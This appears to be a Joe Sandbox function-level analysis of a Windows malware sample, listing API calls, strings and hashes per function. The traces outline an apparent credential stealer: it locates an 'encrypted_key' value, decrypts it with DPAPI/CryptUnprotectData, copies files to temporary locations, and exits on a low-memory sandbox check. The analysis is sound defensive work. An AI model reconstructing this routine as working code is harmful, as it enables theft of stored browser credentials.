Opcode Fuzzy Hash: 5ab39f87e3c408f2a90f24169347c873da2d30c2c471e45419c7dcdc3ee26daa
Instruction Fuzzy Hash: B641B8B6D001086BDB14EBA0EC46FEE773DAB8C300F04855EB7155A1C1EA7557888BE1

Function 0040A110 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
LocalFree.KERNEL32(00410447), ref: 0040A1E0
CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: a501a1be7f016b5cb91172ca14ff62cfed5f90a871d90683b41ae69171fc1efd
Instruction ID: e28607e9d9a2a96074382c0c0d30a82733061daf82e5a8752830093732aacc78
Opcode Fuzzy Hash: a501a1be7f016b5cb91172ca14ff62cfed5f90a871d90683b41ae69171fc1efd
Instruction Fuzzy Hash: 9731FC74A01209EFDB14CF94D845BEE77B5AB48304F10815AE911AB3D0D778AA91CFA6

Function 00415190 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 004151CA
lstrcatA.KERNEL32(?,00421058), ref: 004151E7
lstrcatA.KERNEL32(?,02EDF950), ref: 004151FB
lstrcatA.KERNEL32(?,0042105C), ref: 0041520D

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
Part of subcall function 00414B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
Part of subcall function 00414B60: FindClose.KERNEL32(000000FF), ref: 00414DE2

Strings

cA, xrefs: 00415235, 0041526A, 0041528F, 00415238, 0041526D

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID: cA
API String ID: 2667927680-2872761854
Opcode ID: 4a6ef23028263fd0d14b913685aa1a11d4b65358c76ef53bcbc600c4f6cc3813
Instruction ID: dc16e4b81abbfe3fe676fda19ddb0faac8fab1e973e0b9c2e11f24d889f851c9
Opcode Fuzzy Hash: 4a6ef23028263fd0d14b913685aa1a11d4b65358c76ef53bcbc600c4f6cc3813
Instruction Fuzzy Hash: CD21C8B6E04218A7CB14FB70EC46EED333E9B94300F40455EB656561D1EE78ABC8CB95

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 878a90f34e096d30e7d89448c69a574e23fa6b892c1598a4a852eafceae412f3
Instruction ID: 198c605b63268064c6e3321c907f2861ebf30c0b4d659eb8408d118d522d9ff8
Opcode Fuzzy Hash: 878a90f34e096d30e7d89448c69a574e23fa6b892c1598a4a852eafceae412f3
Instruction Fuzzy Hash: 88014BF0D44308BAEB10DFE0DD4ABAEBB78AB14705F20849EE604B62D0D6785581875D

Function 0040A430 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 0040A489

Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A23F
Part of subcall function 0040A210: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 0040A251
Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A27A
Part of subcall function 0040A210: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 0040A28F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 0040A4E2

Part of subcall function 0040A2B0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0040A2D4
Part of subcall function 0040A2B0: LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A2F3
Part of subcall function 0040A2B0: memcpy.MSVCRT(?,?,?), ref: 0040A316
Part of subcall function 0040A2B0: LocalFree.KERNEL32(?), ref: 0040A323

Strings

"encrypted_key":", xrefs: 0040A480
DPAPI, xrefs: 0040A4D9
, xrefs: 0040A511

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 3546a86eb936ed4601ea7f7df7f132c244f3b6ed9baf1d47a95fb4f7817735a7
Instruction ID: 27b9d937d1eb2b37959d1b0821c640950517226354c316aa9f1795df4e4508dc
Opcode Fuzzy Hash: 3546a86eb936ed4601ea7f7df7f132c244f3b6ed9baf1d47a95fb4f7817735a7
Instruction Fuzzy Hash: 323152B6D00209ABCF04DBD4DC45AEFB7B8BF58304F44456AE901B7281E7389A54CB6A

Function 6CA8C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CA8C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CA8C969
GetSystemInfo.KERNEL32(?), ref: 6CA8C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CA8C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CA8C9E2

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: daa99eb591658b4e2aafbe6c0f5d42126c49dc742693ee0c544684aa56b4cdb4
Instruction ID: ffe57a02c82b34c27bcc43b7da309fc6095ab19b7b894970715e2c427fe634a4
Opcode Fuzzy Hash: daa99eb591658b4e2aafbe6c0f5d42126c49dc742693ee0c544684aa56b4cdb4
Instruction Fuzzy Hash: 74212C317423156BDB08AEA4FC84BAE77B9BB46708F50425DF917A7B40DB309C85CBA0

Function 00417F90 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417FC7
HeapAlloc.KERNEL32(00000000), ref: 00417FCE
RegOpenKeyExA.KERNEL32(80000002,02EE1888,00000000,00020119,?), ref: 00417FEE
RegQueryValueExA.KERNEL32(?,02EE5EC8,00000000,00000000,000000FF,000000FF), ref: 0041800F
RegCloseKey.ADVAPI32(?), ref: 00418022

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 7a9c0ba5048ddb27ec33de3f8be0389340df971bddb9b3c1683f2c2c2fb7b9da
Instruction ID: 7366865410052b2090c980cb0782fc53e6cc971cacc9a0cbb18d91746b71e1a2
Opcode Fuzzy Hash: 7a9c0ba5048ddb27ec33de3f8be0389340df971bddb9b3c1683f2c2c2fb7b9da
Instruction Fuzzy Hash: 981151B1E45209EBD700CF94DD45FBFBBB9EB48B11F10421AF615A7280E77959048BA2

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 105a35557efbe30c530503ad4a66e3d917ab5a2bcfe7a77369b2bd71da3f475d
Instruction ID: b0bfc99e0bb5f41d030d85d97ebb5ad9faa7414484ca5a523084a8432581bb26
Opcode Fuzzy Hash: 105a35557efbe30c530503ad4a66e3d917ab5a2bcfe7a77369b2bd71da3f475d
Instruction Fuzzy Hash: D1013179E45209BFDB00DFD0DC49FAE7779EB48701F00419AFA05A7280E770AA008B91

Function 0040A7D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(02EDFB20,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,004102B3), ref: 0040A7ED
LoadLibraryA.KERNEL32(02E66000,?,?,?,?,?,?,?,?,?,?,?,004102B3), ref: 0040A876

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,02EDFBA0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

SetEnvironmentVariableA.KERNEL32(02EDFB20,00000000,00000000,?,0042137C,?,004102B3,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420B0A), ref: 0040A862

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A7E2, 0040A7F6, 0040A80C

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-1193256905
Opcode ID: 2b6dc6e383eab2ca2d655302cedf4fd0ce8caf7bb2ea2f30e1d8f5f64a8062c1
Instruction ID: e2f153a25b0241b5b599166127738bab9ecbab10861abf647739b816a1383ce1
Opcode Fuzzy Hash: 2b6dc6e383eab2ca2d655302cedf4fd0ce8caf7bb2ea2f30e1d8f5f64a8062c1
Instruction Fuzzy Hash: 63415BB1E0A2049BC704EBA5EC55BAE37B6AB08305F44552BF505A32E0FB386954CB67

Function 0040A990 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,02EE2290,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040AA11
lstrlenA.KERNEL32(00000000,00000000), ref: 0040AB2F
lstrlenA.KERNEL32(00000000), ref: 0040ADEC

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

DeleteFileA.KERNEL32(00000000), ref: 0040AE73

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: badd0b16bebf4880951e4b22bfce0ef8fa2e65dd17f4c9611185429b7f8720ee
Instruction ID: 5dfe8597df33c788f82f0551f3ba8d02d272d38f024b71a471f8e3c501a58f6f
Opcode Fuzzy Hash: badd0b16bebf4880951e4b22bfce0ef8fa2e65dd17f4c9611185429b7f8720ee
Instruction Fuzzy Hash: A9E134729111089BCB04FBA5DC66EEE7339AF14314F40855EF11672091EF387A9CCB6A

Function 0040D880 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,02EE2290,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D901
lstrlenA.KERNEL32(00000000), ref: 0040DA9F
lstrlenA.KERNEL32(00000000), ref: 0040DAB3
DeleteFileA.KERNEL32(00000000), ref: 0040DB32

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
